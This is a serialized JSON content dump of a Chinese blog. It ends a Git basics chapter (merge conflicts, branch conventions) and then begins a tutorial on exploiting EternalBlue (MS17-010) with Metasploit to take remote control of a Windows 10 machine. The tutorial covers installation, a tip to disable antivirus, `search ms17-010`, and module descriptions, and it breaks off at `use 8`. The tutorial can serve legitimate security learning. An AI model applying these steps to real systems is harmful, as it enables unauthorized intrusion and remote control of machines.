\u003C分支名>",{"type":24,"value":26729},"：不做任何检查，强制删除（适用场景：当某分支已修改代码但未merge时）",{"type":18,"tag":158,"props":26731,"children":26732},{},[26733,26734,26740,26742,26748,26749],{"type":24,"value":6499},{"type":18,"tag":74,"props":26735,"children":26737},{"className":26736},[],[26738],{"type":24,"value":26739},"-d",{"type":24,"value":26741}," 删除时可能遇到的报错信息，此时就可以改用 ",{"type":18,"tag":74,"props":26743,"children":26745},{"className":26744},[],[26746],{"type":24,"value":26747},"-D",{"type":24,"value":222},{"type":18,"tag":287,"props":26750,"children":26754},{"className":26751,"code":26752,"language":26753,"meta":8,"style":8},"language-txt shiki shiki-themes github-dark","error: the branch 'dev02' is not fully merged\n","txt",[26755],{"type":18,"tag":74,"props":26756,"children":26757},{"__ignoreMap":8},[26758],{"type":18,"tag":297,"props":26759,"children":26760},{"class":299,"line":300},[26761],{"type":18,"tag":297,"props":26762,"children":26763},{},[26764],{"type":24,"value":26752},{"type":18,"tag":27,"props":26766,"children":26768},{"id":26767},"_46-解决冲突",[26769],{"type":24,"value":26770},"4.6 解决冲突",{"type":18,"tag":34,"props":26772,"children":26773},{},[26774],{"type":24,"value":26775},"当两个分支上对文件的修改可能存在冲突，例如同时修改同一文件的同一行，这时等后续合并时需手动解决冲突，示例如下：",{"type":18,"tag":34,"props":26777,"children":26778},{},[26779],{"type":18,"tag":54,"props":26780,"children":26783},{"alt":26781,"src":26782},"1775732583971","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775732583971.png",[],{"type":18,"tag":34,"props":26785,"children":26786},{},[26787,26789,26794,26795,26800],{"type":24,"value":26788},"此时当我尝试合并 ",{"type":18,"tag":74,"props":26790,"children":26792},{"className":26791},[],[26793],{"type":24,"value":5935},{"type":24,"value":8507},{"type":18,"tag":74,"props":26796,"children":26798},{"className":26797},[],[26799],{"type":24,"value":8778},{"type":24,"value":26801}," 分支时失败，错误信息如下所示：",{"type":18,"tag":287,"props":26803,"children":26805},{"className":289,"code":26804,"language":291,"meta":8,"style":8},"31245@HUAWEINotBook16 MINGW64 \u002Fd\u002FDailyFile\u002Fgit-test\u002Ftest01 (master)\n$ git merge dev\nAuto-merging demo01.txt\nCONFLICT (content): Merge conflict in demo01.txt\nAutomatic merge failed; fix conflicts and then commit the result.\n",[26806],{"type":18,"tag":74,"props":26807,"children":26808},{"__ignoreMap":8},[26809,26828,26848,26861,26874],{"type":18,"tag":297,"props":26810,"children":26811},{"class":299,"line":300},[26812,26816,26820,26824],{"type":18,"tag":297,"props":26813,"children":26814},{"style":304},[26815],{"type":24,"value":25540},{"type":18,"tag":297,"props":26817,"children":26818},{"style":310},[26819],{"type":24,"value":25545},{"type":18,"tag":297,"props":26821,"children":26822},{"style":310},[26823],{"type":24,"value":25623},{"type":18,"tag":297,"props":26825,"children":26826},{"style":327},[26827],{"type":24,"value":25628},{"type":18,"tag":297,"props":26829,"children":26830},{"class":299,"line":657},[26831,26835,26839,26843],{"type":18,"tag":297,"props":26832,"children":26833},{"style":304},[26834],{"type":24,"value":25558},{"type":18,"tag":297,"props":26836,"children":26837},{"style":310},[26838],{"type":24,"value":25563},{"type":18,"tag":297,"props":26840,"children":26841},{"style":310},[26842],{"type":24,"value":26669},{"type":18,"tag":297,"props":26844,"children":26845},{"style":310},[26846],{"type":24,"value":26847}," dev\n",{"type":18,"tag":297,"props":26849,"children":26850},{"class":299,"line":662},[26851,26856],{"type":18,"tag":297,"props":26852,"children":26853},{"style":304},[26854],{"type":24,"value":26855},"Auto-merging",{"type":18,"tag":297,"props":26857,"children":26858},{"style":310},[26859],{"type":24,"value":26860}," demo01.txt\n",{"type":18,"tag":297,"props":26862,"children":26863},{"class":299,"line":799},[26864,26869],{"type":18,"tag":297,"props":26865,"children":26866},{"style":304},[26867],{"type":24,"value":26868},"CONFLICT",{"type":18,"tag":297,"props":26870,"children":26871},{"style":327},[26872],{"type":24,"value":26873}," (content): Merge conflict in demo01.txt\n",{"type":18,"tag":297,"props":26875,"children":26876},{"class":299,"line":808},[26877,26882,26886,26891,26895,26900,26905,26910,26915,26919,26923],{"type":18,"tag":297,"props":26878,"children":26879},{"style":304},[26880],{"type":24,"value":26881},"Automatic",{"type":18,"tag":297,"props":26883,"children":26884},{"style":310},[26885],{"type":24,"value":26669},{"type":18,"tag":297,"props":26887,"children":26888},{"style":310},[26889],{"type":24,"value":26890}," failed",{"type":18,"tag":297,"props":26892,"children":26893},{"style":327},[26894],{"type":24,"value":10875},{"type":18,"tag":297,"props":26896,"children":26897},{"style":304},[26898],{"type":24,"value":26899},"fix",{"type":18,"tag":297,"props":26901,"children":26902},{"style":310},[26903],{"type":24,"value":26904}," conflicts",{"type":18,"tag":297,"props":26906,"children":26907},{"style":310},[26908],{"type":24,"value":26909}," and",{"type":18,"tag":297,"props":26911,"children":26912},{"style":310},[26913],{"type":24,"value":26914}," then",{"type":18,"tag":297,"props":26916,"children":26917},{"style":310},[26918],{"type":24,"value":903},{"type":18,"tag":297,"props":26920,"children":26921},{"style":310},[26922],{"type":24,"value":7291},{"type":18,"tag":297,"props":26924,"children":26925},{"style":310},[26926],{"type":24,"value":26927}," result.\n",{"type":18,"tag":34,"props":26929,"children":26930},{},[26931,26933,26939],{"type":24,"value":26932},"此时我的 ",{"type":18,"tag":74,"props":26934,"children":26936},{"className":26935},[],[26937],{"type":24,"value":26938},"demo01.txt",{"type":24,"value":26940}," 文件内容也出现了变化：",{"type":18,"tag":287,"props":26942,"children":26944},{"className":26751,"code":26943,"language":26753,"meta":8,"style":8},"\u003C\u003C\u003C\u003C\u003C\u003C\u003C HEAD\nupdate commit=111\n=======\nupdate commit=11\n>>>>>>> dev\n",[26945],{"type":18,"tag":74,"props":26946,"children":26947},{"__ignoreMap":8},[26948,26956,26964,26972,26980],{"type":18,"tag":297,"props":26949,"children":26950},{"class":299,"line":300},[26951],{"type":18,"tag":297,"props":26952,"children":26953},{},[26954],{"type":24,"value":26955},"\u003C\u003C\u003C\u003C\u003C\u003C\u003C HEAD\n",{"type":18,"tag":297,"props":26957,"children":26958},{"class":299,"line":657},[26959],{"type":18,"tag":297,"props":26960,"children":26961},{},[26962],{"type":24,"value":26963},"update commit=111\n",{"type":18,"tag":297,"props":26965,"children":26966},{"class":299,"line":662},[26967],{"type":18,"tag":297,"props":26968,"children":26969},{},[26970],{"type":24,"value":26971},"=======\n",{"type":18,"tag":297,"props":26973,"children":26974},{"class":299,"line":799},[26975],{"type":18,"tag":297,"props":26976,"children":26977},{},[26978],{"type":24,"value":26979},"update commit=11\n",{"type":18,"tag":297,"props":26981,"children":26982},{"class":299,"line":808},[26983],{"type":18,"tag":297,"props":26984,"children":26985},{},[26986],{"type":24,"value":26987},">>>>>>> dev\n",{"type":18,"tag":34,"props":26989,"children":26990},{},[26991],{"type":24,"value":26992},"解决冲突的步骤：",{"type":18,"tag":154,"props":26994,"children":26995},{},[26996,27022,27032],{"type":18,"tag":158,"props":26997,"children":26998},{},[26999,27001,27006,27008],{"type":24,"value":27000},"手动修改冲突文件 ",{"type":18,"tag":74,"props":27002,"children":27004},{"className":27003},[],[27005],{"type":24,"value":26938},{"type":24,"value":27007}," 的内容，如下：",{"type":18,"tag":287,"props":27009,"children":27011},{"className":26751,"code":27010,"language":26753,"meta":8,"style":8},"Hello World!\n",[27012],{"type":18,"tag":74,"props":27013,"children":27014},{"__ignoreMap":8},[27015],{"type":18,"tag":297,"props":27016,"children":27017},{"class":299,"line":300},[27018],{"type":18,"tag":297,"props":27019,"children":27020},{},[27021],{"type":24,"value":27010},{"type":18,"tag":158,"props":27023,"children":27024},{},[27025,27027],{"type":24,"value":27026},"将解决完的冲突文件加入暂存区：",{"type":18,"tag":74,"props":27028,"children":27030},{"className":27029},[],[27031],{"type":24,"value":8473},{"type":18,"tag":158,"props":27033,"children":27034},{},[27035,27037],{"type":24,"value":27036},"提交到本地仓库：",{"type":18,"tag":74,"props":27038,"children":27040},{"className":27039},[],[27041],{"type":24,"value":25701},{"type":18,"tag":27,"props":27043,"children":27045},{"id":27044},"_37-开发中分支使用原则与流程",[27046],{"type":24,"value":27047},"3.7 开发中分支使用原则与流程",{"type":18,"tag":34,"props":27049,"children":27050},{},[27051],{"type":24,"value":27052},"在开发中，一般有如下分支使用原则与流程：",{"type":18,"tag":3561,"props":27054,"children":27056},{"id":27055},"master生产分支",[27057],{"type":24,"value":27058},"master（生产）分支",{"type":18,"tag":210,"props":27060,"children":27061},{},[27062,27072],{"type":18,"tag":158,"props":27063,"children":27064},{},[27065,27070],{"type":18,"tag":105,"props":27066,"children":27067},{},[27068],{"type":24,"value":27069},"定位",{"type":24,"value":27071},"：线上分支，主分支",{"type":18,"tag":158,"props":27073,"children":27074},{},[27075,27079],{"type":18,"tag":105,"props":27076,"children":27077},{},[27078],{"type":24,"value":17923},{"type":24,"value":27080},"：中小规模项目作为线上运行的应用对应的分支；直接用于部署生产环境。",{"type":18,"tag":3561,"props":27082,"children":27084},{"id":27083},"develop开发分支",[27085],{"type":24,"value":27086},"develop（开发）分支",{"type":18,"tag":210,"props":27088,"children":27089},{},[27090,27106],{"type":18,"tag":158,"props":27091,"children":27092},{},[27093,27097,27099,27104],{"type":18,"tag":105,"props":27094,"children":27095},{},[27096],{"type":24,"value":27069},{"type":24,"value":27098},"：从 ",{"type":18,"tag":74,"props":27100,"children":27102},{"className":27101},[],[27103],{"type":24,"value":5935},{"type":24,"value":27105}," 创建的分支",{"type":18,"tag":158,"props":27107,"children":27108},{},[27109,27113,27115,27120],{"type":18,"tag":105,"props":27110,"children":27111},{},[27112],{"type":24,"value":17923},{"type":24,"value":27114},"：作为开发部门的主要开发分支。如果没有其他并行开发不同期上线要求，都可以在此版本进行开发。阶段开发完成后，需要是合并到 ",{"type":18,"tag":74,"props":27116,"children":27118},{"className":27117},[],[27119],{"type":24,"value":5935},{"type":24,"value":27121}," 分支，准备上线。",{"type":18,"tag":3561,"props":27123,"children":27125},{"id":27124},"featurexxxx-分支",[27126],{"type":24,"value":27127},"feature\u002Fxxxx 分支",{"type":18,"tag":210,"props":27129,"children":27130},{},[27131,27146],{"type":18,"tag":158,"props":27132,"children":27133},{},[27134,27138,27139,27145],{"type":18,"tag":105,"props":27135,"children":27136},{},[27137],{"type":24,"value":27069},{"type":24,"value":27098},{"type":18,"tag":74,"props":27140,"children":27142},{"className":27141},[],[27143],{"type":24,"value":27144},"develop",{"type":24,"value":27105},{"type":18,"tag":158,"props":27147,"children":27148},{},[27149,27153,27155,27160],{"type":18,"tag":105,"props":27150,"children":27151},{},[27152],{"type":24,"value":17923},{"type":24,"value":27154},"：同期并行开发，但不同期上线时创建的分支。分支上的研发任务完成后合并到 ",{"type":18,"tag":74,"props":27156,"children":27158},{"className":27157},[],[27159],{"type":24,"value":27144},{"type":24,"value":27161}," 分支。通常用于开发新功能。",{"type":18,"tag":3561,"props":27163,"children":27165},{"id":27164},"hotfixxxxx-分支",[27166],{"type":24,"value":27167},"hotfix\u002Fxxxx 分支",{"type":18,"tag":210,"props":27169,"children":27170},{},[27171,27186],{"type":18,"tag":158,"props":27172,"children":27173},{},[27174,27178,27179,27184],{"type":18,"tag":105,"props":27175,"children":27176},{},[27177],{"type":24,"value":27069},{"type":24,"value":27098},{"type":18,"tag":74,"props":27180,"children":27182},{"className":27181},[],[27183],{"type":24,"value":5935},{"type":24,"value":27185}," 派生的分支",{"type":18,"tag":158,"props":27187,"children":27188},{},[27189,27193,27195,27200,27201,27207,27208,27213],{"type":18,"tag":105,"props":27190,"children":27191},{},[27192],{"type":24,"value":17923},{"type":24,"value":27194},"：一般作为线上Bug修复使用。修复完成后需要合并到 ",{"type":18,"tag":74,"props":27196,"children":27198},{"className":27197},[],[27199],{"type":24,"value":5935},{"type":24,"value":1942},{"type":18,"tag":74,"props":27202,"children":27204},{"className":27203},[],[27205],{"type":24,"value":27206},"test",{"type":24,"value":1942},{"type":18,"tag":74,"props":27209,"children":27211},{"className":27210},[],[27212],{"type":24,"value":27144},{"type":24,"value":27214}," 分支，确保补丁同时应用到生产和开发环境。",{"type":18,"tag":3561,"props":27216,"children":27218},{"id":27217},"其他辅助分支",[27219],{"type":24,"value":27217},{"type":18,"tag":210,"props":27221,"children":27222},{},[27223,27233],{"type":18,"tag":158,"props":27224,"children":27225},{},[27226,27231],{"type":18,"tag":105,"props":27227,"children":27228},{},[27229],{"type":24,"value":27230},"test 分支",{"type":24,"value":27232},"：用于代码测试",{"type":18,"tag":158,"props":27234,"children":27235},{},[27236,27241],{"type":18,"tag":105,"props":27237,"children":27238},{},[27239],{"type":24,"value":27240},"pre 分支",{"type":24,"value":27242},"：预上线分支，用于模拟生产环境进行最后的验证",{"type":18,"tag":34,"props":27244,"children":27245},{},[27246],{"type":18,"tag":54,"props":27247,"children":27250},{"alt":27248,"src":27249},"1775733811162","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775733811162.png",[],{"type":18,"tag":19,"props":27252,"children":27254},{"id":27253},"_5-git-工作流程图",[27255],{"type":24,"value":27256},"5 Git 工作流程图",{"type":18,"tag":34,"props":27258,"children":27259},{},[27260],{"type":18,"tag":54,"props":27261,"children":27264},{"alt":27262,"src":27263},"1775713164804","\u002Fimages\u002Fblog\u002Fgit-basics\u002F1775713164804.png",[],{"type":18,"tag":34,"props":27266,"children":27267},{},[27268,27273],{"type":18,"tag":105,"props":27269,"children":27270},{},[27271],{"type":24,"value":27272},"命令如下（进阶篇学习）",{"type":24,"value":24972},{"type":18,"tag":210,"props":27275,"children":27276},{},[27277,27287,27298,27308,27318,27328,27339],{"type":18,"tag":158,"props":27278,"children":27279},{},[27280,27285],{"type":18,"tag":74,"props":27281,"children":27283},{"className":27282},[],[27284],{"type":24,"value":8106},{"type":24,"value":27286},"（克隆）: 从远程仓库中克隆代码到本地仓库",{"type":18,"tag":158,"props":27288,"children":27289},{},[27290,27296],{"type":18,"tag":74,"props":27291,"children":27293},{"className":27292},[],[27294],{"type":24,"value":27295},"checkout",{"type":24,"value":27297}," （检出）:从本地仓库中检出一个仓库分支然后进行修订",{"type":18,"tag":158,"props":27299,"children":27300},{},[27301,27306],{"type":18,"tag":74,"props":27302,"children":27304},{"className":27303},[],[27305],{"type":24,"value":8714},{"type":24,"value":27307},"（添加）: 在提交前先将代码提交到暂存区",{"type":18,"tag":158,"props":27309,"children":27310},{},[27311,27316],{"type":18,"tag":74,"props":27312,"children":27314},{"className":27313},[],[27315],{"type":24,"value":8458},{"type":24,"value":27317},"（提交）: 提交到本地仓库。本地仓库中保存修改的各个历史版本",{"type":18,"tag":158,"props":27319,"children":27320},{},[27321,27326],{"type":18,"tag":74,"props":27322,"children":27324},{"className":27323},[],[27325],{"type":24,"value":8686},{"type":24,"value":27327}," (抓取)： 从远程库，抓取到本地仓库，不进行任何的合并动作，一般操作比较少。",{"type":18,"tag":158,"props":27329,"children":27330},{},[27331,27337],{"type":18,"tag":74,"props":27332,"children":27334},{"className":27333},[],[27335],{"type":24,"value":27336},"pull",{"type":24,"value":27338}," (拉取)： 从远程库拉到本地库，自动进行合并(merge)，然后放到到工作区，相当于fetch+merge",{"type":18,"tag":158,"props":27340,"children":27341},{},[27342,27348],{"type":18,"tag":74,"props":27343,"children":27345},{"className":27344},[],[27346],{"type":24,"value":27347},"push",{"type":24,"value":27349},"（推送）: 修改完成后，需要和团队成员共享代码时，将代码推送到远程仓库",{"type":18,"tag":651,"props":27351,"children":27352},{},[27353],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":27355},[27356,27363,27364,27372,27381],{"id":24918,"depth":657,"text":24921,"children":27357},[27358,27359,27360,27361,27362],{"id":24924,"depth":662,"text":24927},{"id":25000,"depth":662,"text":25003},{"id":25124,"depth":662,"text":25127},{"id":25286,"depth":662,"text":25289},{"id":25403,"depth":662,"text":25406},{"id":25459,"depth":657,"text":25462},{"id":25631,"depth":657,"text":25634,"children":27365},[27366,27367,27368,27369,27370,27371],{"id":25805,"depth":662,"text":25808},{"id":25851,"depth":662,"text":25854},{"id":25962,"depth":662,"text":25965},{"id":26015,"depth":662,"text":26018},{"id":26149,"depth":662,"text":26152},{"id":26278,"depth":662,"text":26281},{"id":26444,"depth":657,"text":26447,"children":27373},[27374,27375,27376,27377,27378,27379,27380],{"id":26455,"depth":662,"text":26458},{"id":26491,"depth":662,"text":26494},{"id":26540,"depth":662,"text":26543},{"id":26631,"depth":662,"text":26634},{"id":26690,"depth":662,"text":26693},{"id":26767,"depth":662,"text":26770},{"id":27044,"depth":662,"text":27047},{"id":27253,"depth":657,"text":27256},"content:blog:2026-04-09-GitBasicChapter.md","blog\u002F2026-04-09-GitBasicChapter.md","blog\u002F2026-04-09-GitBasicChapter",{"_path":27386,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":27387,"description":27388,"date":27389,"tags":27390,"body":27394,"_type":672,"_id":28072,"_source":674,"_file":28073,"_stem":28074,"_extension":677},"\u002Fblog\u002F2026-03-13-ms17-010-eternalblue","永恒之蓝 (MS17-010)","永恒之蓝(MS17-010)漏洞利用教程，使用Metasploit Framework进行渗透测试与远程控制。","2026-03-13",[27391,27392,27393],"Kali","安全","MSF",{"type":15,"children":27395,"toc":28067},[27396,27413,27431,27437,27447,27472,27479,27487,27494,27502,27561,27574,27605,27618,27626,27640,27647,27652,27660,27679,27692,27788,27795,27825,27844,27851,27874,27906,27913,27936,27943,27948,27956,28006,28014,28063],{"type":18,"tag":34,"props":27397,"children":27398},{},[27399,27404,27406,27411],{"type":18,"tag":105,"props":27400,"children":27401},{},[27402],{"type":24,"value":27403},"WannaCry病毒",{"type":24,"value":27405},"，使用了",{"type":18,"tag":105,"props":27407,"children":27408},{},[27409],{"type":24,"value":27410},"永恒之蓝漏洞",{"type":24,"value":27412},"，是一种在2017年5月大规模爆发的勒索病毒，它属于勒索病毒家族，主要通过加密用户计算机中的文件来进行勒索。",{"type":18,"tag":96,"props":27414,"children":27415},{},[27416,27421],{"type":18,"tag":34,"props":27417,"children":27418},{},[27419],{"type":24,"value":27420},"永恒之蓝",{"type":18,"tag":34,"props":27422,"children":27423},{},[27424,27429],{"type":18,"tag":105,"props":27425,"children":27426},{},[27427],{"type":24,"value":27428},"永恒之蓝(对应微软漏洞编号 MS17-010)",{"type":24,"value":27430}," 是针对Windows的高危远程代码执行漏洞，最初由美国国家安全局开发为攻击工具，2017年4月被黑客组织\"影子经纪人\"公开后，引发了全球多起重大网络安全事件。",{"type":18,"tag":27,"props":27432,"children":27434},{"id":27433},"msf安装windows版",[27435],{"type":24,"value":27436},"MSF安装(Windows版)",{"type":18,"tag":34,"props":27438,"children":27439},{},[27440,27445],{"type":18,"tag":105,"props":27441,"children":27442},{},[27443],{"type":24,"value":27444},"Metasploit Framework (MSF)",{"type":24,"value":27446}," 是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit 可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以 \"可以黑掉整个宇宙\" 之名，支持 Windows、Linux、MACOS，本次课程我们将在 Windows 系统安装 MSF，并且学习相关的工具。",{"type":18,"tag":154,"props":27448,"children":27449},{},[27450],{"type":18,"tag":158,"props":27451,"children":27452},{},[27453,27455,27462,27464,27470],{"type":24,"value":27454},"访问官网进行下载，MSF在Kali中自带，MSF官网地址：",{"type":18,"tag":43,"props":27456,"children":27459},{"href":27457,"rel":27458},"https:\u002F\u002Fwindows.metasploit.com\u002F",[47],[27460],{"type":24,"value":27461},"Metasploit Framework",{"type":24,"value":27463},"\n（点击最新版的 ",{"type":18,"tag":74,"props":27465,"children":27467},{"className":27466},[],[27468],{"type":24,"value":27469},".msi",{"type":24,"value":27471}," 结尾的链接）",{"type":18,"tag":34,"props":27473,"children":27474},{},[27475],{"type":18,"tag":54,"props":27476,"children":27478},{"alt":8,"src":27477},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208120927631.png",[],{"type":18,"tag":154,"props":27480,"children":27481},{"start":657},[27482],{"type":18,"tag":158,"props":27483,"children":27484},{},[27485],{"type":24,"value":27486},"先关掉杀软，避免被检测出风险软件，也可以添加路径白名单；然后运行安装程序；",{"type":18,"tag":34,"props":27488,"children":27489},{},[27490],{"type":18,"tag":54,"props":27491,"children":27493},{"alt":8,"src":27492},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208120927636.png",[],{"type":18,"tag":154,"props":27495,"children":27496},{"start":662},[27497],{"type":18,"tag":158,"props":27498,"children":27499},{},[27500],{"type":24,"value":27501},"配置系统环境变量；",{"type":18,"tag":287,"props":27503,"children":27505},{"className":289,"code":27504,"language":291,"meta":8,"style":8},"reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" \u002Fv Path \u002Ft REG_EXPAND_SZ \u002Fd \"%PATH%;D:\\metasploit-framework\\bin\" \u002Ff\n",[27506],{"type":18,"tag":74,"props":27507,"children":27508},{"__ignoreMap":8},[27509],{"type":18,"tag":297,"props":27510,"children":27511},{"class":299,"line":300},[27512,27517,27521,27526,27531,27536,27541,27546,27551,27556],{"type":18,"tag":297,"props":27513,"children":27514},{"style":304},[27515],{"type":24,"value":27516},"reg",{"type":18,"tag":297,"props":27518,"children":27519},{"style":310},[27520],{"type":24,"value":886},{"type":18,"tag":297,"props":27522,"children":27523},{"style":310},[27524],{"type":24,"value":27525}," \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\"",{"type":18,"tag":297,"props":27527,"children":27528},{"style":310},[27529],{"type":24,"value":27530}," \u002Fv",{"type":18,"tag":297,"props":27532,"children":27533},{"style":310},[27534],{"type":24,"value":27535}," Path",{"type":18,"tag":297,"props":27537,"children":27538},{"style":310},[27539],{"type":24,"value":27540}," \u002Ft",{"type":18,"tag":297,"props":27542,"children":27543},{"style":310},[27544],{"type":24,"value":27545}," REG_EXPAND_SZ",{"type":18,"tag":297,"props":27547,"children":27548},{"style":310},[27549],{"type":24,"value":27550}," \u002Fd",{"type":18,"tag":297,"props":27552,"children":27553},{"style":310},[27554],{"type":24,"value":27555}," \"%PATH%;D:\\metasploit-framework\\bin\"",{"type":18,"tag":297,"props":27557,"children":27558},{"style":310},[27559],{"type":24,"value":27560}," \u002Ff\n",{"type":18,"tag":34,"props":27562,"children":27563},{},[27564,27566,27572],{"type":24,"value":27565},"命令中的 ",{"type":18,"tag":74,"props":27567,"children":27569},{"className":27568},[],[27570],{"type":24,"value":27571},"D:\\metasploit-framework\\bin",{"type":24,"value":27573}," 替换为自己的安装路径下的bin路径。",{"type":18,"tag":210,"props":27575,"children":27576},{},[27577,27595],{"type":18,"tag":158,"props":27578,"children":27579},{},[27580,27585,27587,27593],{"type":18,"tag":105,"props":27581,"children":27582},{},[27583],{"type":24,"value":27584},"命令行方式",{"type":24,"value":27586},"：通过 ",{"type":18,"tag":74,"props":27588,"children":27590},{"className":27589},[],[27591],{"type":24,"value":27592},"reg add",{"type":24,"value":27594}," 直接修改注册表，无需图形界面，适合脚本化批量操作，也可以在没有图形界面的服务器上使用。",{"type":18,"tag":158,"props":27596,"children":27597},{},[27598,27603],{"type":18,"tag":105,"props":27599,"children":27600},{},[27601],{"type":24,"value":27602},"手动图形界面方式",{"type":24,"value":27604},"：通过 \"系统属性→环境变量\" 的可视化界面来修改，更直观，适合普通用户单次操作。",{"type":18,"tag":34,"props":27606,"children":27607},{},[27608,27610,27616],{"type":24,"value":27609},"两者最终都会修改系统 ",{"type":18,"tag":74,"props":27611,"children":27613},{"className":27612},[],[27614],{"type":24,"value":27615},"Path",{"type":24,"value":27617}," 环境变量，让系统能在任意目录下找到 Metasploit 的工具。",{"type":18,"tag":154,"props":27619,"children":27620},{"start":799},[27621],{"type":18,"tag":158,"props":27622,"children":27623},{},[27624],{"type":24,"value":27625},"启动MSF，在终端输入下列指令即可启动；",{"type":18,"tag":287,"props":27627,"children":27629},{"className":289,"code":27628,"language":291,"meta":8,"style":8},"msfconsole\n",[27630],{"type":18,"tag":74,"props":27631,"children":27632},{"__ignoreMap":8},[27633],{"type":18,"tag":297,"props":27634,"children":27635},{"class":299,"line":300},[27636],{"type":18,"tag":297,"props":27637,"children":27638},{"style":304},[27639],{"type":24,"value":27628},{"type":18,"tag":34,"props":27641,"children":27642},{},[27643],{"type":18,"tag":54,"props":27644,"children":27646},{"alt":8,"src":27645},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208120927637.png",[],{"type":18,"tag":27,"props":27648,"children":27650},{"id":27649},"利用永恒之蓝远控电脑",[27651],{"type":24,"value":27649},{"type":18,"tag":154,"props":27653,"children":27654},{},[27655],{"type":18,"tag":158,"props":27656,"children":27657},{},[27658],{"type":24,"value":27659},"开始前必须了解永恒之蓝，指定它的编号（MS17-010），在终端搜索模糊漏洞编号；",{"type":18,"tag":287,"props":27661,"children":27663},{"className":289,"code":27662,"language":291,"meta":8,"style":8},"search ms17-010\n",[27664],{"type":18,"tag":74,"props":27665,"children":27666},{"__ignoreMap":8},[27667],{"type":18,"tag":297,"props":27668,"children":27669},{"class":299,"line":300},[27670,27674],{"type":18,"tag":297,"props":27671,"children":27672},{"style":304},[27673],{"type":24,"value":24560},{"type":18,"tag":297,"props":27675,"children":27676},{"style":310},[27677],{"type":24,"value":27678}," ms17-010\n",{"type":18,"tag":34,"props":27680,"children":27681},{},[27682,27684,27690],{"type":24,"value":27683},"也可以直接输入 ",{"type":18,"tag":74,"props":27685,"children":27687},{"className":27686},[],[27688],{"type":24,"value":27689},"search ms17",{"type":24,"value":27691}," 进行模糊查询也可以查到，查询到的结果中：",{"type":18,"tag":210,"props":27693,"children":27694},{},[27695,27720,27740,27760],{"type":18,"tag":158,"props":27696,"children":27697},{},[27698,27707],{"type":18,"tag":105,"props":27699,"children":27700},{},[27701],{"type":18,"tag":74,"props":27702,"children":27704},{"className":27703},[],[27705],{"type":24,"value":27706},"exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue",{"type":18,"tag":210,"props":27708,"children":27709},{},[27710,27715],{"type":18,"tag":158,"props":27711,"children":27712},{},[27713],{"type":24,"value":27714},"这确实是永恒之蓝漏洞的最原始利用模块，用于直接发起攻击。",{"type":18,"tag":158,"props":27716,"children":27717},{},[27718],{"type":24,"value":27719},"它会通过 SMB 协议漏洞在目标系统上执行代码，常被用来获取目标的系统权限。",{"type":18,"tag":158,"props":27721,"children":27722},{},[27723,27732],{"type":18,"tag":105,"props":27724,"children":27725},{},[27726],{"type":18,"tag":74,"props":27727,"children":27729},{"className":27728},[],[27730],{"type":24,"value":27731},"auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010",{"type":18,"tag":210,"props":27733,"children":27734},{},[27735],{"type":18,"tag":158,"props":27736,"children":27737},{},[27738],{"type":24,"value":27739},"这是一个被动的漏洞检测模块，它只负责扫描目标主机是否存在 MS17-010 漏洞，不会主动发起攻击。",{"type":18,"tag":158,"props":27741,"children":27742},{},[27743,27752],{"type":18,"tag":105,"props":27744,"children":27745},{},[27746],{"type":18,"tag":74,"props":27747,"children":27749},{"className":27748},[],[27750],{"type":24,"value":27751},"auxiliary\u002Fadmin\u002Fsmb\u002Fms17_010_command",{"type":18,"tag":210,"props":27753,"children":27754},{},[27755],{"type":18,"tag":158,"props":27756,"children":27757},{},[27758],{"type":24,"value":27759},"这个模块可以在已确认存在漏洞的目标上直接执行终端命令，通常是在检测出漏洞后，用来快速验证权限或执行简单操作。",{"type":18,"tag":158,"props":27761,"children":27762},{},[27763,27772],{"type":18,"tag":105,"props":27764,"children":27765},{},[27766],{"type":18,"tag":74,"props":27767,"children":27769},{"className":27768},[],[27770],{"type":24,"value":27771},"exploit\u002Fwindows\u002Fsmb\u002Fms17_010_psexec",{"type":18,"tag":210,"props":27773,"children":27774},{},[27775],{"type":18,"tag":158,"props":27776,"children":27777},{},[27778,27780,27786],{"type":24,"value":27779},"它是基于 MS17-010 漏洞的一个变种模块，主要作用是上传并执行 payload，比如植入后门或远控程序，功能比 ",{"type":18,"tag":74,"props":27781,"children":27783},{"className":27782},[],[27784],{"type":24,"value":27785},"eternalblue",{"type":24,"value":27787}," 更侧重 \"上传执行\"。",{"type":18,"tag":34,"props":27789,"children":27790},{},[27791],{"type":18,"tag":54,"props":27792,"children":27794},{"alt":8,"src":27793},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208120927638.png",[],{"type":18,"tag":154,"props":27796,"children":27797},{"start":657},[27798],{"type":18,"tag":158,"props":27799,"children":27800},{},[27801,27802,27808,27810,27815,27817,27823],{"type":24,"value":6499},{"type":18,"tag":74,"props":27803,"children":27805},{"className":27804},[],[27806],{"type":24,"value":27807},"use",{"type":24,"value":27809}," 命令选择使用的模块（模块前面的序号），此处以使用 ",{"type":18,"tag":74,"props":27811,"children":27813},{"className":27812},[],[27814],{"type":24,"value":27706},{"type":24,"value":27816}," 模块来攻击 ",{"type":18,"tag":74,"props":27818,"children":27820},{"className":27819},[],[27821],{"type":24,"value":27822},"Windows10专业版",{"type":24,"value":27824},"，使用下列命令；",{"type":18,"tag":287,"props":27826,"children":27828},{"className":289,"code":27827,"language":291,"meta":8,"style":8},"use 8\n",[27829],{"type":18,"tag":74,"props":27830,"children":27831},{"__ignoreMap":8},[27832],{"type":18,"tag":297,"props":27833,"children":27834},{"class":299,"line":300},[27835,27839],{"type":18,"tag":297,"props":27836,"children":27837},{"style":304},[27838],{"type":24,"value":27807},{"type":18,"tag":297,"props":27840,"children":27841},{"style":906},[27842],{"type":24,"value":27843}," 